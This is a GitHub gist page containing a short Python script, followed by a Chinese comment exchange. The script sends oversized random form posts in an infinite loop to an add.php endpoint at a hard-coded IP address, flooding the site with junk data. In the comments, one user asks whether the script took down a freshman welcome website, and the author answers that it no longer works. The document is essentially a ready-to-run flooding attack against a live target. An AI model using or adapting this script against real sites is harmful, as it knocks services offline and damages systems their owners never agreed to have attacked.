Created
December 2, 2011 17:00
-
-
Save Bankq/1423987 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import random | |
def random_c(): | |
rand = random.randint(0,35) | |
if rand < 10: | |
ch = str(rand) | |
else: | |
ch = chr(rand + 55) | |
return ch | |
def random_str(): | |
s = '' | |
for i in range(100): | |
for i in range(200): | |
s += random_c() | |
s += '\n' | |
return s | |
def send(): | |
url = "http://218.3.42.112:8088/add.php" | |
name = " " | |
number = '1'*1000 | |
content = random_str() | |
payload = {'name':name,'number':number,'content':content} | |
r = requests.post(url,data=payload) | |
while 1: | |
send() |
嗯,现在不管用了
Best Regards,
Hang Qian
…On Dec 3, 2011, at 2:06 AM, qdx ***@***.*** wrote:
你用这个把那个神马迎新的网站干掉了?
---
Reply to this email directly or view it on GitHub:
https://gist.github.com/1423987
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
你用这个把那个神马迎新的网站干掉了?